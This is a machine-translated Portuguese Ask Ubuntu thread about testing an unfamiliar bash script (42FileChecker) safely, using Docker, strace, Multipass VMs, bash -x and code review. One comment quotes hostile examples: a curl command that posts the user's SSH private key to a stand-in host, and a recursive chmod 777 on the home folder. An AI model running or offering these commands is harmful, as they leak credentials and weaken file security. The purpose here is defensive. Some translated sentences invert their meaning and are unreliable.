Como posso testar um script de shell em um "ambiente seguro" para evitar danos ao meu computador?

29

Eu gostaria de instalar um certo script bash chamado 42FileChecker usando os comandos:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Mas não sei se o 42FileChecker.sh fará alguma coisa estranha no meu PC porque sou iniciante e não sei o que está acontecendo nesse script. Existe uma maneira de executá-lo em um terminal fictício ou em uma pasta raiz fictícia ou algo assim para ver o que acontece, para evitar algo louco como formatar minhas unidades. Eu gostaria de saber de alguma maneira de testar shells para futuros scripts de shell também, mesmo se 42FileChecker.sh estiver seguro.

nicholas
fonte
5
Como é um script, você pode lê-lo e ler as manpáginas nos comandos contidos nele.
waltinator
1
Observe que, como o código está hospedado no Git, você pode ler a fonte da ferramenta. Se a revisão de código não é sua opção, fazer algum tipo de análise "dinâmica" executando-a em um ambiente seguro (sandbox, VM) é sua próxima melhor aposta
BlueCacti
4
@waltinator Se você está preocupado com comportamento malicioso , e não com comportamento não intencional, a leitura das páginas de manual não ajuda.
Ray
1
@ Ray, apenas se os comandos executados forem maliciosos, para que suas páginas de manual ocultem seus verdadeiros efeitos. Acho waltinator estava se referindo ao caso mais provável de uso malicioso de comandos padrão, por exemplo, chmod 777 -R ~ou curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsaou similares.
Wildcard
1
Relacionado . Você poderia testar scripts sem arriscar nenhum dano ao seu computador e isso ensinaria seus colegas a bloquear as sessões.
Eric Duminil

Respostas:

4

Eu não sou especialista nisso, mas eu recomendaria usar stracee docker.

Então, primeiro crie um contêiner Docker conforme as instruções nesta resposta . Mas a adição é que o strace lhe dirá quais chamadas do sistema são feitas. Ou para citar:

strace é um utilitário de diagnóstico, depuração e espaço de usuário instrucional para Linux. É usado para monitorar e adulterar as interações entre processos e o kernel do Linux, que incluem chamadas do sistema, entregas de sinais e alterações do estado do processo.

Você pode combinar esses comandos para

docker exec -it ubuntu_container strace bash ./42FileChecker.sh
Thomas
fonte
Portanto, isso passará por cada linha do script (passo a passo) e também fará tudo isso dentro de um contêiner, o que significa que todos os comandos não farão absolutamente nada no meu sistema, mas serão executados normalmente. Estou entendendo isso corretamente?
nicholas
1
@ nicolas sim, o container docker é uma máquina separada para sua proteção, o programa está em área restrita. O Strace fornecerá todas as operações que o aplicativo faz nessa máquina, desde a abertura de arquivos até a configuração de conexões de rede.
Thomas
1
Sim, era exatamente isso que eu procurava, Strace combinado com Docker.
nicholas
42

Se você não tiver certeza do que um script faz, é melhor não executá-lo até ter certeza do que ele faz. As formas de reduzir o raio de dano de um script incorreto incluem executá-lo usando um novo usuário, em um contêiner ou em uma máquina virtual. Mas essa primeira afirmação ainda é válida: se você não tiver certeza do que algo faz, considere executá-lo até que o faça.

ctt
fonte
6
Por outro lado, os scripts são como EULAs: Sim, você deve ler e entender todas as linhas antes de vender sua alma, mas é?
Peter - Restabelece Monica
7
@ PeterA.Schneider, mas o EULA realmente não faz nada até ser levado a tribunal. A execução de um script tem um efeito imediato no seu computador. Não se trata muito de ler todas as linhas; trata-se mais de "Reflexões sobre confiar em confiança" e conhecer e confiar na fonte do script.
Wildcard
29

Como o @ctt disse, provavelmente é uma boa ideia executá-lo em uma caixa de areia de algum tipo primeiro. Usar uma VM é provavelmente a solução mais fácil. Multipass é bastante simples.

Instale o multipass (supondo que você ainda não o tenha):

sudo snap install multipass --beta --classic

Gire uma nova VM:

multipass launch --name myvm

Faça login na sua nova VM:

multipass shell myvm

Em seguida, execute seu script (dentro da sua vm):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh
Ryan J. Yoder
fonte
38
Essa abordagem não é segura. Depois de executar o script na caixa de areia, como você vai saber se era seguro? Pode ter efeitos nocivos que você não pode dizer facilmente. O malware não aparece necessariamente e diz "Haha, entendi!". Além disso, um script mal-intencionado pode se comportar facilmente de maneira benigna enquanto estiver em uma caixa de areia ou VM e, em seguida, comportar-se maliciosamente em seu computador real. (Por exemplo, a detecção de VM é uma coisa, assim como a impressão digital da máquina.)
DW
12
Este é um ótimo ponto. Se você deseja inspecionar o script em busca de malware, essa não é uma solução eficaz. Essa é uma maneira de testar a funcionalidade sem poluir o sistema host.
Ryan J. Yoder
Você pode fazer uma comparação completa com uma VM "de controle".
mckenzm
6
@mckenzm: Mas, se for malware, é perfeitamente possível que opte por não fazer nada até encontrar acesso a algo que parece interessante.
Henning Makholm
11

Como a escola que você frequenta publicou os scripts, o melhor lugar para expressar suas preocupações é com seus instrutores.

Dito isto, podemos ajudá-lo a decifrar o código linha por linha. Provavelmente, é impraticável para qualquer pessoa aqui analisar todo o código.

Na verdade, você tem 40 scripts de bash com um total de 5.360 linhas. Eu os combinei e procurei comandos bash / shell que poderiam ser abusados. Todos eles parecem ser usados ​​normalmente :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • Não há rm -rf /comando para limpar toda a partição do disco rígido.
  • Não há nenhum requisito que sudoseja usado para executar o script.
  • O script realmente garante que apenas as Cfunções autorizadas sejam usadas nos arquivos verificados.
  • Uma rápida navegação no código bash / shell mostra que é profissionalmente escrito e fácil de seguir.
  • O uso do shellcheck em arquivos de inclusão mesclados revela apenas três erros de sintaxe.
  • Os nomes dos autores são identificados e o autor principal ainda tem sua foto em sua githubpágina.
  • Embora não haja garantias na vida, 42FileCheckerparece seguro de usar.

Não são scripts bash legíveis por humanos que você precisa se preocupar tanto. São objetos binários compilados que você não pode ler que são motivo de preocupação. Por exemplo, um programa chamado "esfera brilhante e saltitante" pode pintar algo assim na tela, mas no fundo pode estar apagando todos os seus arquivos.


Resposta original

É melhor perguntar ao autor do script o que ele faz. Na verdade, você quase pode postar sua pergunta literalmente, como aparece acima.

Pergunte também ao autor:

  • Quais arquivos são atualizados?
  • O que acontece se travar devido a falta de energia ou erro no programa?
  • Um mini-backup pode ser executado primeiro?

E quaisquer outras boas perguntas que você possa pensar.


Editar 1 - Preocupações com um autor malicioso.

Você só deve usar software com muitas boas análises públicas. Como alternativa, os autores em que você confia aqui no Ask Ubuntu, como Serge, Jacob, Colin King, etc. Outros sites respeitados, como o Ask Ubuntu e seus membros respeitados, também devem ser considerados "não maliciosos".

A vantagem dos "autores respeitados" aqui no Ask Ubuntu é que eles apostam em seus "pontos de reputação". Se eles escrevessem intencionalmente código que "roubou" ou "danificou" dados, eles rapidamente perderiam sua reputação. De fato, os autores podem sofrer a "ira dos mods" e serem suspensos e / ou ter 10.000 pontos de reputação retirados.


Edição 2 - Não siga todas as instruções

Dei uma olhada mais profunda nas instruções do script bash:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

O método "seguro" é executar apenas a primeira linha:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

Isso baixa os scripts, mas não os executa. Em seguida, use nautilus(gerenciador de arquivos) para inspecionar os diretórios e arquivos instalados. Muito rapidamente você descobre que há uma coleção de scripts bash escritos por um grupo de estudantes na França.

O objetivo dos scripts é compilar e testar programas C para funções inadequadas e vazamentos de memória.

WinEunuuchs2Unix
fonte
1
Eu deveria sim, mas estava pensando em situações em que o autor pode estar fazendo algo malicioso intencionalmente.
nicholas
1
@ nicolas Eu respondi ao seu comentário revisando a resposta.
WinEunuuchs2Unix
2
Estou aprendendo C no curso Ecole 42. As funções que estou fazendo precisam executar essa verificação de normas. Preciso instalar o 42FileChecker no Ubuntu para executar esta verificação de normas. Eu acho que só tenho que confiar nesse script por enquanto, mas eu precisava saber como executar uma "execução segura" do script primeiro, porque não sou tão bom em fazer buscas por homens. Obrigado pela ajuda. Vou executar uma VM da próxima vez.
nicholas
2
@nicholas Linha 24 da ~/42FileChecker/includes/display/display_credits.shobra estados do norminette é uma dependência: norminette (42 born2code) http://www.42.fr. Eu li isso ontem à noite e foi por isso que escrevi que era uma escola (escola) na França que publicou o 42FileChecker . Pelo que procurei no código até agora, não me preocuparia em executá-lo. Além disso, há poucos erros de sintaxe relatados, o shellcheckque é surpreendente para um script bash de 5.360 linhas. Muitos scripts bash publicados profissionalmente têm muitos erros de sintaxe.
WinEunuuchs2Unix
2
@ nicolas Do ponto de vista da segurança, usar o ambiente e os scripts fornecidos para a classe é provavelmente a melhor abordagem. Também remove a possibilidade de comportamento diferente da versão oficial do curso, o que pode ser uma surpresa na hora da entrega. Tem certeza de que não há acesso remoto a esta máquina, possivelmente usando um serviço VPN ou SSH fornecido pelo campus de outro computador que você possa acessar remotamente?
trognanders
5

Você pode usar o Docker. Os contêineres do Docker são isolados do sistema operacional host, portanto, qualquer atividade mal-intencionada permanecerá dentro do contêiner, desde que você não o solte especificamente encaminhando portas ou montando sistemas de arquivos.

Para instalar a janela de encaixe:

sudo apt-get install docker.io

Para baixar um novo contêiner Ubuntu Bionic:

docker pull ubuntu:bionic

Depois disso, faça o login no contêiner

docker run -it ubuntu:bionic

e execute a operação desonesta:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh
Syfer Polski
fonte
1
Outro benefício do Docker que pode ser útil para determinar o que um script faz é que você pode executar docker diffpara visualizar quais alterações foram feitas no sistema de arquivos desde que você iniciou o contêiner. A desvantagem de usar o Docker é que o contêiner não é uma cópia completa do sistema host. A imagem do Ubuntu mencionada aqui contém apenas uma instalação mínima do Ubuntu.
Martijn Heemels
2
Em vez de docker run ubuntuexecutar, o docker run -it ubuntu:bionicThe -itfornece um terminal interativo no contêiner e, na bionicverdade, executa a versão desejada em vez da padrão latest.
Martijn Heemels
Gosto desta resposta da melhor maneira que já vi. No entanto, parece que o script desonesto ainda pode abusar do seu sistema. Ele poderia secretamente ser mineração bitcoins, etc. Idealmente poderíamos usar sinalizadores adicionais, possivelmente --memory, --networke talvez outros para realmente bloquear o script.
emory
1
Se você é realmente paranóico, combine esta resposta com a segunda melhor resposta. Execute a janela de encaixe dentro de uma máquina virtual e bloqueie tudo.
emory
3

Considere usar o modo de depuração executando o script como:

$ bash -x scriptname

Mais informações úteis sobre o Bash

O modo de depuração não impedirá que o script faça algo ruim, mas permitirá que você percorra o script linha por linha e examine os efeitos. Você também pode verificar o script quanto a possíveis erros e / ou explorações em potencial, por exemplo, procure nos scripts por qualquer ocorrência rme observe esses comandos com muita atenção. Muitas dessas ferramentas têm alguma ajuda construído em para experimentá-las, por exemplo, rm não irá excluir um diretório por padrão, ele precisa do -r, -Rou --recursiveopção de fazê-lo.

Pode até haver algumas ferramentas semelhantes a antivírus que pesquisariam um script bash para esses padrões, mas não conheço nenhum por nome. Seus scripts de exemplo são meio que duvidosos, no sentido de baixarem outras ferramentas; portanto, cada uma delas também deve ser examinada. Verificar quais servidores eles contatam também pode valer a pena.

hóspede
fonte
-x pode ser usado para depuração (e eu uso!), mas não permitirá que você percorra um script linha por linha. Ele fornecerá uma espécie de "rastreio", à medida que ele executa o script a toda velocidade.
jrw32982 suporta Monica
2

Infelizmente, as informações relevantes para fornecer uma resposta são encontradas apenas em um comentário seu:

Estou aprendendo C no curso Ecole 42. As funções que estou fazendo precisam executar essa verificação de normas. Preciso instalar o 42FileChecker no Ubuntu para executar esta verificação de normas.

Portanto, a situação é que, na prática, você tem a opção de ignorar o curso ou pode executar o script para executar verificações normativas em suas fontes. Conversar com seu instrutor dificilmente é uma opção, devido à falta do primeiro (não seria uma opção de qualquer maneira, nenhuma escola mudará seu procedimento porque um aluno não está satisfeito com isso).
A questão do que fazer para limitar os possíveis danos desse script, portanto, nem sequer surge. Não é um roteiro aleatório que uma garota excitada com seios grandes mandou um e-mail para você e que você precisa executar para ver a foto dela .
Você está fazendo uma aula de programação. esteé onde esse script entrou em cena. A questão é se você deseja ou não cumprir as condições do quadro para concluir com êxito o curso.

No entanto, se você estiver realmente preocupado, ainda há a possibilidade de executar o script em um contêiner ou em uma máquina virtual e colocar suas fontes em uma pasta compartilhada ou em um compartilhamento de rede exposto pelo contêiner / máquina virtual. Isso está praticamente no caminho completo da paranóia, mas, novamente, a virtualização não é tão complicada hoje em dia, por isso não custa muito.

Exceto a possibilidade improvável de uma exploração realmente dura contida nesse script, efetuando login como qualquer usuário não root (o que você dificilmente pode fazer no Ubuntu) e evitando digitar sudo sem motivo óbvio praticamente impede 99% de todas as coisas ruins que poderiam acontecer de qualquer maneira. Como formatar o disco rígido, com o qual você está preocupado. Um usuário normal simplesmente não pode fazer isso. O pior é que o script apaga o diretório inicial do usuário. Então, o que, não há problema, realmente.

Damon
fonte
Espero que o OP comente aqui se sudoé necessário executar o script. +1
WinEunuuchs2Unix
Evitar sudoapenas limita o escopo de exclusão / formatação acidental devido a bugs. Se o script foi malicioso ou explorável, a execução sudoem um sistema de usuário único não faz diferença essencial.
aquele outro cara
@ WinEunuuchs2Unix Eu não acho que o sudo seja necessário. Realmente não sei. Embora eu esteja usando o sudo para os comandos apt install. Isso significa que eu preciso usá-lo para executar um script também?
nicholas
1
@ Nicholas Eu não tenho nenhum programa em C para compilar e testar, 42FileCheckerentão não sei dizer se sudoé necessário ou não. O script bash não verifica o sudo e diz para você usá-lo. Parece que isso sudonão é necessário. Mais uma vez, acho que perguntar ao seu instrutor (professor) é a melhor política. Atualizei minha resposta há uma hora com uma pequena análise do script. Observe que o nome " mynorminette" apareceu novamente no código.
WinEunuuchs2Unix
1
@nicholas Aposto que alguns dos instrutores conhecem pessoalmente norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk e Jean-Michel Gigault, para quem todos contribuíram 42FileChecker. Acredito que conversar com os instrutores deixará sua mente à vontade. Depois de algumas horas investigando, tenho fé nos programadores e em suas criações. Jean-Michel Gigault ainda tem uma foto no github. Bastante testemunho de confiança em uma terra onde as sementes do Colete Amarelo estão crescendo. Viva La France! (et Ecole 42 :)) Faça-nos um favor e entre para dar atualizações de progresso.
WinEunuuchs2Unix